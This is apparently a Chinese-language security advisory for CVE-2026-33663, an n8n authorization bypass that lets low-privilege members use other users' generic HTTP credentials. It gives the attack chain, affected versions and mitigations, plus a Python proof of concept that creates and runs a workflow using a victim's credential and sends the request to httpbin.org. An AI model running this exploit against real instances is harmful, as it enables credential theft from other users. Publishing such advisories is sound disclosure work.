IPBUF安全漏洞报告
English
CVE-2026-33663 CVSS 6.5 中危

CVE-2026-33663 n8n凭据窃取漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33663
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

权限绕过信息泄露n8nCVE-2026-33663

漏洞概述

n8n开源工作流自动化平台在特定版本之前存在权限绕过漏洞。拥有global:member角色的认证用户可利用凭据管道中的授权缺陷,窃取其他用户的通用HTTP凭据(如httpBasicAuth等)的明文密钥。该漏洞源于基于名称的凭据解析路径未强制执行所有权检查,且权限检查器存在绕过问题。此问题仅影响社区版,企业版不受影响。

技术细节

该漏洞由两个链式的授权缺陷组成。首先,n8n的基于名称的凭据解析路径未强制执行所有权或项目范围限制,允许低权限用户引用其他用户的凭据ID。其次,凭据权限检查器在预执行验证阶段会错误地跳过通用HTTP凭据类型。攻击者利用这两个缺陷,解析并获取到不属于自己权限范围内的其他用户的凭据ID,随后执行工作流以解密并使用这些凭据。虽然原生集成凭据不受影响,但通用HTTP凭据的泄露可能导致敏感数据外泄。

攻击链分析

STEP 1
步骤1
攻击者使用拥有global:member角色的账户登录n8n社区版实例。
STEP 2
步骤2
攻击者通过枚举或其他方式获取到目标用户的通用HTTP凭据ID(如httpBasicAuth)。
STEP 3
步骤3
攻击者创建或修改一个工作流,在HTTP请求节点中引用该窃取的凭据ID。
STEP 4
步骤4
攻击者执行工作流,系统因权限检查器绕过漏洞,解密并使用了该凭据,导致攻击者获取明文密钥或利用凭据进行外部请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target n8n instance TARGET_URL = "http://localhost:5678" # Attacker session with 'global:member' role ATTACKER_SESSION = "attacker_session_cookie" # The ID of the credential owned by another user (Victim) STOLEN_CRED_ID = "TARGET_CREDENTIAL_ID" # 1. Define a workflow payload that uses the stolen credential workflow_payload = { "name": "Exploit_CVE_2026_33663", "nodes": [ { "parameters": { "url": "http://httpbin.org/post", "authentication": "genericCredentialType", "genericAuthType": "httpHeaderAuth", "nodeCredentialType": "httpHeaderAuth", # Injecting the credential ID we want to steal "credentialId": STOLEN_CRED_ID }, "name": "HTTP Request Node", "type": "n8n-nodes-base.httpRequest", "typeVersion": 4.1, "position": [250, 300] } ], "connections": {} } headers = {"Cookie": f"session={ATTACKER_SESSION}"} # 2. Create the workflow create_resp = requests.post(f"{TARGET_URL}/rest/workflows", json=workflow_payload, headers=headers) workflow_id = create_resp.json().get("id") if create_resp.status_code == 200: print(f"[+] Workflow created with ID: {workflow_id}") # 3. Execute the workflow # The vulnerability allows bypassing the ownership check for 'httpHeaderAuth' # during execution, effectively decrypting and using the victim's secret. exec_resp = requests.post(f"{TARGET_URL}/rest/workflows/{workflow_id}/execute", headers=headers) if exec_resp.status_code == 200: print("[+] Workflow executed successfully using stolen credential.") print(f"[+] Response data: {exec_resp.text}") else: print("[-] Execution failed.") else: print("[-] Workflow creation failed.")

影响范围

n8n < 1.123.27
n8n >= 2.0.0, < 2.13.3
n8n >= 2.14.0, < 2.14.1

防御指南

临时缓解措施
如果无法立即升级,管理员应将实例访问限制为仅受信任的用户,并审计存储在实例上的凭据,轮换任何可能已暴露的通用HTTP凭据(httpBasicAuth, httpHeaderAuth, httpQueryAuth)。请注意,这些措施不能完全消除风险,仅作为短期缓解手段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表